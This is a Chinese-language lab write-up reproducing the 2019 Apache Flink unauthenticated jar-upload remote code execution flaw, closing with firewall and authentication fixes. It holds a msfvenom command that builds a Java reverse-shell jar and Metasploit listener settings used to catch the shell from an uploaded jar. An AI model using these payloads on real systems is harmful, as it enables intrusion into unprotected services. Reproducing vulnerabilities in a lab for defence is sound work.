Apache flink任意jar包上传导致远程代码执行
漏洞描述:
2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。
影响范围
<= 1.9.1(最新版本)
环境搭建:
Flink 1.9.1
java11+
kali系统
因为 Flink 1.9.1 需要java环境支持,而kali系统本身内置openjdk版本(我的是java11),所以我们无需另外下载java环境。
java版本查看
java -version
安装 Apache Flink 1.9.1
wget http://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
解压安装包
tar zxvf flink-1.9.1-bin-scala_2.11.tgz
启动flink
访问测试
漏洞复现
利用MSF生成一个jar的木马文件(kali搭建漏洞环境原因,使用127.0.0.1本地地址作为攻击目标)
msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8765 -f jar > getshell.jar
Metasplott监听8765端口
use exploit/multi/handler
set payload java/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 8765
show options
run
上传webshell
成功反弹shell,执行常见命令
漏洞修复
建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证